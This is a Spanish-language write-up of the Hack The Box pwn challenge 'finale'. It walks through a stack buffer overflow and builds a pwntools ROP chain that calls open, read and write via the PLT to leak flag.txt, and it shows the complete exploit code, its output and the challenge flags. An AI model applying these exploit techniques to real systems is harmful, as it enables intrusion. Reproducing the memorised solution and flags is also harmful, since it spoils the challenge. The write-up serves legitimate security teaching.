Finale
12 minutos de lectura
Se nos proporciona un binario de 64 bits llamado finale
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Configuración del entorno
Puede ocurrir que no tengamos la versión de Glibc que acepta el programa:
$ ./finale
./finale: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./finale)
Por suerte, en Spooky Time nos dan una librería y un loader, versión 2.35:
$ ../pwn_spooky_time/glibc/ld-linux-x86-64.so.2 ../pwn_spooky_time/glibc/libc.so.6
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 11.2.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
Entonces, podemos copiar ese directorio en nuestro entorno y usar pwninit
para parchear el binario y que use esta nueva versión de Glibc:
$ cp -r ../pwn_spooky_time/glibc .
$ pwninit --libc glibc/libc.so.6 --ld glibc/ld-linux-x86-64.so.2 --bin finale --no-template
bin: finale
libc: glibc/libc.so.6
ld: glibc/ld-linux-x86-64.so.2
unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.1_amd64.deb
warning: failed unstripping libc: libc deb error: failed to find file in data.tar
copying finale to finale_patched
running patchelf on finale_patched
Ahora tenemos otro binario (finale_patched
), y lo podemos ejecutar normalmente:
$ ./finale_patched
Let's celebrate Spooktober!!!
▝ ▝▘
▝▗▗ ▝
▞▚▘▝ ▝ ▗
▘ ▖ ▛▌ ▘
▗ ▀ ▖ ▝
▖
▝ ▗▙ ▝ ▝▝
▘ ▜ ▄▖
▝▛▙ ▗▄
▗▖ ▘
▖▖ ▘ ▗▗▚▚▚▘ ▖▖ ▖
▝▐▐▐ ▜▜▟▗
▗▗ ▝▘ ▘ ▗▚ ▝▜▞
▖▝ ▖ ▞▖
▘ ▐▜▘
▝▀▘ ▗▌ ▗ ▗▖
▄ ▗ ▄ ▝▞▞▖
▗▄▄ ▖ ▗ ▗ ▘
▗▐▛▙█▄ ▖ ▖ ▗ ▘ ▝
▗▜ ██▜▜▜▖▖ ▗ ▞▝ ▖ ▗
▗▝▛▙▝▐███▙ ▝▝ ▖▘▖
▛▖▀▟▄▖▘▛▌▀ ▀▘ ▗
▗▘▜▜▖▝▟▞▘ ▘ ▞ ▘
▛▙ ▜▞▀ ▝
▗▌▐▀▀
▞▀
[Strange man in mask screams some nonsense]: Us
[Strange man in mask]: In order to proceed, tell us the secret phrase:
Ingeniería inversa
Si abrimos el binario en Ghidra, veremos el siguiente código en C descompilado para la función main
:
int main() {
int ret;
undefined8 secret_phrase;
undefined8 local_40;
undefined4 local_38;
undefined8 local_28;
undefined8 local_20;
int fd;
ulong i;
banner();
local_28 = 0;
local_20 = 0;
fd = open("/dev/urandom", 0);
read(fd, &local_28, 8);
printf("\n[Strange man in mask screams some nonsense]: %s\n\n", &local_28);
close(fd);
secret_phrase = 0;
local_40 = 0;
local_38 = 0;
printf("[Strange man in mask]: In order to proceed, tell us the secret phrase: ");
__isoc99_scanf("%16s", &secret_phrase);
i = 0;
do {
if (0xe < i) {
LAB_00401588:
ret = strncmp((char *) &secret_phrase, "s34s0nf1n4l3b00", 0xf);
if (ret == 0) {
finale();
} else {
printf("%s\n[Strange man in mask]: Sorry, you are not allowed to enter here!\n\n", &DAT_00402020);
}
return 0;
}
if (*(char *) ((long) &secret_phrase + i) == '\n') {
*(undefined *) ((long) &secret_phrase + i) = 0;
goto LAB_00401588;
}
i = i + 1;
} while (true);
}
Aquí nos preguntan pos una frase secreta, que está hard-coded en la función anterior (s34s0nf1n4l3b00
). Si la usamos, nos permiten introducir más datos, por lo que vamos a mirar si existe una vulnerabilidad de Buffer Overflow:
$ ./finale_patched
Let's celebrate Spooktober!!!
▝ ▝▘
▝▗▗ ▝
▞▚▘▝ ▝ ▗
▘ ▖ ▛▌ ▘
▗ ▀ ▖ ▝
▖
▝ ▗▙ ▝ ▝▝
▘ ▜ ▄▖
▝▛▙ ▗▄
▗▖ ▘
▖▖ ▘ ▗▗▚▚▚▘ ▖▖ ▖
▝▐▐▐ ▜▜▟▗
▗▗ ▝▘ ▘ ▗▚ ▝▜▞
▖▝ ▖ ▞▖
▘ ▐▜▘
▝▀▘ ▗▌ ▗ ▗▖
▄ ▗ ▄ ▝▞▞▖
▗▄▄ ▖ ▗ ▗ ▘
▗▐▛▙█▄ ▖ ▖ ▗ ▘ ▝
▗▜ ██▜▜▜▖▖ ▗ ▞▝ ▖ ▗
▗▝▛▙▝▐███▙ ▝▝ ▖▘▖
▛▖▀▟▄▖▘▛▌▀ ▀▘ ▗
▗▘▜▜▖▝▟▞▘ ▘ ▞ ▘
▛▙ ▜▞▀ ▝
▗▌▐▀▀
▞▀
[Strange man in mask screams some nonsense]: _
'$
[Strange man in mask]: In order to proceed, tell us the secret phrase: s34s0nf1n4l3b00
[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [0x7ffc798f0b40]
[Strange man in mask]: Now, tell us a wish for next year: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!
zsh: segmentation fault (core dumped) ./finale_patched
Vulnerabilidad de Buffer Overflow
El programa se rompe con una violación de segmento (segmentation fault), por lo que es vulnerable a Buffer Overflow. Esta segunda parte del programa corresponde a una función llamada finale
:
void finale() {
undefined data[64];
printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]", data);
printf("\n\n[Strange man in mask]: Now, tell us a wish for next year: ");
fflush(stdin);
fflush(stdout);
read(0, data, 0x1000);
write(1,"\n[Strange man in mask]: That\'s a nice wish! Let the Spooktober Spirit be with you!\n\n", 0x54);
}
El Buffer Overflow existe porque data
es una cadena de caracteres de 64 bytes, pero el programa lee hasta 0x1000
bytes. Por tanto, podemos escribir fuera de la cadena data
y modificar valores que están en la pila (stack) que se usan para que el programa controle el flujo de ejecución. Entonces, cuando el programa llama a finale
, guarda la dirección de retorno en la pila de manera que se pueda sacar al retornar de finale
.
En el ejemplo anterior, sobrescribimos la dirección de retorno con 0x41414141
(AAAA
en formato hexadecimal), que no es una dirección válida. Por esto el programa se rompe.
Como atacantes, nos interesa controlar este valor para redirigir el flujo de ejecución del programa de manera arbitraria. Podemos usar GDB para encontrar este offset necesario para alcanzar la posición en la pila.
Nota: Por alguna razón, los siguientes pasos solamente funcionan usando bash
como shell, no zsh
:
$ gdb -q finale_patched
Reading symbols from finale_patched...
(No debugging symbols found in finale_patched)
gef➤ pattern create 100
[+] Generating a pattern of 100 bytes (n=8)
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[+] Saved as '$_gef0'
gef➤ run
Starting program: ./finale_patched
Let's celebrate Spooktober!!!
▝ ▝▘
▝▗▗ ▝
▞▚▘▝ ▝ ▗
▘ ▖ ▛▌ ▘
▗ ▀ ▖ ▝
▖
▝ ▗▙ ▝ ▝▝
▘ ▜ ▄▖
▝▛▙ ▗▄
▗▖ ▘
▖▖ ▘ ▗▗▚▚▚▘ ▖▖ ▖
▝▐▐▐ ▜▜▟▗
▗▗ ▝▘ ▘ ▗▚ ▝▜▞
▖▝ ▖ ▞▖
▘ ▐▜▘
▝▀▘ ▗▌ ▗ ▗▖
▄ ▗ ▄ ▝▞▞▖
▗▄▄ ▖ ▗ ▗ ▘
▗▐▛▙█▄ ▖ ▖ ▗ ▘ ▝
▗▜ ██▜▜▜▖▖ ▗ ▞▝ ▖ ▗
▗▝▛▙▝▐███▙ ▝▝ ▖▘▖
▛▖▀▟▄▖▘▛▌▀ ▀▘ ▗
▗▘▜▜▖▝▟▞▘ ▘ ▞ ▘
▛▙ ▜▞▀ ▝
▗▌▐▀▀
▞▀
[Strange man in mask screams some nonsense]: s4d
[Strange man in mask]: In order to proceed, tell us the secret phrase: s34s0nf1n4l3b00
[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [0x7fffffffdf70]
[Strange man in mask]: Now, tell us a wish for next year: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401491 in finale ()
gef➤ pattern offset $rsp
[+] Searching for '$rsp'
[+] Found at offset 72 (little-endian search) likely
[+] Found at offset 65 (big-endian search)
Entonces, necesitamos exactamente 72 bytes para alcanzar la dirección de retorno.
Estrategia de explotación
La descripción del reto dice que la versión de Glibc remota está modificada, por lo que no deberíamos depender en Glibc para explotar el binario.
Esta vez, en lugar de obtener una shell, intentaremos mostrar la flag usando las funciones open
, read
y write
, que están ya enlazadas al binario y por tanto no dependen de Glibc. Para llamarlas, podemos usar la Tabla de Enlaces a Procedimientos (PLT), que es una tabla que tiene instrucciones de salto a la correspondiente entrada de la Tabla de Offsets Globales (GOT), que tiene las direcciones en tiempo de ejecución de las funciones de Glibc si se han llamado al menos una vez. Como PIE está deshabilitado, las direcciones de la PLT son fijas.
Como NX está habilitado, tendremos que usar Return Oriented Programming (ROP) para ejecutar código arbitrario en el binario. Para binarios en x86_64, los argumentos de las funciones van en los registros (en orden: $rdi
, $rsi
, $rdx
, $rcx
…). Podemos configurar estos registros usando gadgets, que son conjuntos de instrucciones que terminan en ret
. El propósito de usar gadgets es llenar la pila de punteros a gadgets de forma que el programa ejecuta un gadget y retorna al sigueinte. Por este motivo, este payload se conoce como ROP chain o cadena ROP.
Podemos encontrar gadgets útiles para $rdi
y $rsi
:
$ ROPgadget --binary finale | grep ': pop r.i ; ret'
0x00000000004012d6 : pop rdi ; ret
0x00000000004012d8 : pop rsi ; ret
No obstante, no hay manera sencilla de configurar $rdx
:
$ ROPgadget --binary finale | grep rdx
0x0000000000401574 : add rax, rdx ; mov byte ptr [rax], 0 ; jmp 0x401588
0x0000000000401573 : clc ; add rax, rdx ; mov byte ptr [rax], 0 ; jmp 0x401588
0x0000000000401571 : mov eax, dword ptr [rbp - 8] ; add rax, rdx ; mov byte ptr [rax], 0 ; jmp 0x401588
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
Estas son las declaraciones de open
, read
y write
:
int open(const char *pathname, int flags);
ssize_t read(int fd, void *buf, size_t count);
ssize_t write(int fd, const void *buf, size_t count);
Encontrando una ROP chain estable
No habrá problema al llamar a open
, porque solamente espera dos argumentos ($rdi
and $rsi
). pero read
y write
necesitan que $rdx
tenga el número de bytes a leer/escribir, por lo que es un valor importante.
Por suerte, hay algunas llamadas a read
y write
en finale
, vamos a desensamblar esta función:
$ objdump -M intel --disassemble=finale finale
finale: file format elf64-x86-64
Disassembly of section .init:
Disassembly of section .plt:
Disassembly of section .plt.sec:
Disassembly of section .text:
0000000000401407 <finale>:
401407: f3 0f 1e fa endbr64
40140b: 55 push rbp
40140c: 48 89 e5 mov rbp,rsp
40140f: 48 83 ec 40 sub rsp,0x40
401413: 48 8d 45 c0 lea rax,[rbp-0x40]
401417: 48 89 c6 mov rsi,rax
40141a: 48 8d 05 ef 13 00 00 lea rax,[rip+0x13ef] # 402810 <_IO_stdin_used+0x810>
401421: 48 89 c7 mov rdi,rax
401424: b8 00 00 00 00 mov eax,0x0
401429: e8 12 fd ff ff call 401140 <printf@plt>
40142e: 48 8d 05 3b 14 00 00 lea rax,[rip+0x143b] # 402870 <_IO_stdin_used+0x870>
401435: 48 89 c7 mov rdi,rax
401438: b8 00 00 00 00 mov eax,0x0
40143d: e8 fe fc ff ff call 401140 <printf@plt>
401442: 48 8b 05 d7 2b 00 00 mov rax,QWORD PTR [rip+0x2bd7] # 404020 <stdin@@GLIBC_2.2.5>
401449: 48 89 c7 mov rdi,rax
40144c: e8 4f fd ff ff call 4011a0 <fflush@plt>
401451: 48 8b 05 b8 2b 00 00 mov rax,QWORD PTR [rip+0x2bb8] # 404010 <stdout@@GLIBC_2.2.5>
401458: 48 89 c7 mov rdi,rax
40145b: e8 40 fd ff ff call 4011a0 <fflush@plt>
401460: 48 8d 45 c0 lea rax,[rbp-0x40]
401464: ba 00 10 00 00 mov edx,0x1000
401469: 48 89 c6 mov rsi,rax
40146c: bf 00 00 00 00 mov edi,0x0
401471: e8 fa fc ff ff call 401170 <read@plt>
401476: ba 54 00 00 00 mov edx,0x54
40147b: 48 8d 05 2e 14 00 00 lea rax,[rip+0x142e] # 4028b0 <_IO_stdin_used+0x8b0>
401482: 48 89 c6 mov rsi,rax
401485: bf 01 00 00 00 mov edi,0x1
40148a: e8 a1 fc ff ff call 401130 <write@plt>
40148f: 90 nop
401490: c9 leave
401491: c3 ret
Disassembly of section .fini:
$ objdump -M intel --disassemble=finale finale | grep .dx
401464: ba 00 10 00 00 mov edx,0x1000
401476: ba 54 00 00 00 mov edx,0x54
Entonces, después de llamar a finale
, $rdx
tendrá 0x54
como valor, que es más que suficiente.
Por tanto, llamaremos a open
, luego volveremos a finale
y después llamaremos a read
y write
. Tenemos que usar este orden porque open
pone $rdx = 0
al final.
Desarrollo del exploit
Para llamar a open
tenemos que usar un puntero a "flag.txt"
como pathname
y 0
como flags
(que es modo de solo lectura). Nótese que finale
nos muestra la dirección de data
:
void finale() {
undefined data[64];
printf("\n[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [%p]", data);
// ...
}
Entonces podemos extraer este puntero y usarlo como puntero a "flag.txt"
. Por consiguiente, nuestros datos de relleno tienen que comenzar por "flag.txt"
y contener bytes nulos hasta llegar a 72 bytes (el offset):
def main():
p = get_process()
p.sendlineafter(b'In order to proceed, tell us the secret phrase: ', b's34s0nf1n4l3b00')
p.recvuntil(b'Season finale is here! Take this souvenir with you for good luck: [')
addr = int(p.recvuntil(b']').decode()[:-1], 16)
rop = ROP(elf)
pop_rdi_ret = rop.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_ret = rop.find_gadget(['pop rsi', 'ret'])[0]
offset = 72
payload = b'flag.txt'
payload += b'\0' * (offset - len(payload))
payload += p64(pop_rdi_ret)
payload += p64(addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(elf.plt.open)
payload += p64(elf.sym.finale)
p.sendlineafter(b'Now, tell us a wish for next year: ', payload)
p.interactive()
if __name__ == '__main__':
main()
$ python3 solve.py
[*] './finale_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./glibc'
[+] Starting local process './finale_patched': pid 465900
[*] Loading gadgets for './finale_patched'
[*] Switching to interactive mode
[Strange man in mask]: That's a nice wish! Let the Spooktober Spirit be with you!
[Strange man in mask]: Season finale is here! Take this souvenir with you for good luck: [0x7ffc476c9ef0]
[Strange man in mask]: Now, tell us a wish for next year: $
Como se puede ver, hemos ejecutado finale
otra vez, por lo que la ROP chain ha funcionado.
Ahora podemos continuar con la siguiente parte de la ROP chain. Como el programa abre tres descriptores de archivo al inicio (0
para stdin
, 1
para stdout
y 2
para stderr
), el siguiente descriptor de archivo será el 3
. Este valor será usado por read
. Podemos usar la fuga de memoria de nuevo para guardar el contenido de flag.txt
. La llamada a write
es muy similar a read
:
fd = 3
offset = 72
payload = b'flag.txt'
payload += b'\0' * (offset - len(payload))
payload += p64(pop_rdi_ret)
payload += p64(addr)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(elf.plt.open)
payload += p64(elf.sym.finale)
p.sendlineafter(b'Now, tell us a wish for next year: ', payload)
payload = b'A' * offset
payload += p64(pop_rdi_ret)
payload += p64(fd)
payload += p64(pop_rsi_ret)
payload += p64(addr)
payload += p64(elf.plt.read)
payload += p64(pop_rdi_ret)
payload += p64(1)
payload += p64(pop_rsi_ret)
payload += p64(addr)
payload += p64(elf.plt.write)
p.sendlineafter(b'Now, tell us a wish for next year: ', payload)
p.recvline()
p.recvline()
p.recvline()
print(p.recvline())
p.close()
Con el código anterior, podemos terminar el exploit y ver la flag en local:
$ python3 solve.py
[*] './finale_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./glibc'
[+] Starting local process './finale_patched': pid 470225
[*] Loaded 7 cached gadgets for 'finale_patched'
b'HTB{f4k3_fl4g_f0r_t3st1ng}\n'
[*] Stopped process './finale_patched' (pid 470225)
Flag
Entonces, vamos a probar en remoto:
$ python3 solve.py 159.65.49.148:31748
[*] './finale_patched'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
RUNPATH: b'./glibc'
[+] Opening connection to 159.65.49.148 on port 31748: Done
[*] Loaded 7 cached gadgets for 'finale_patched'
b'HTB{53450n_f1n4l3_w1th0ut_l1bc}\n'
[*] Closed connection to 159.65.49.148 port 31748
El exploit completo se puede encontrar aquí: solve.py
.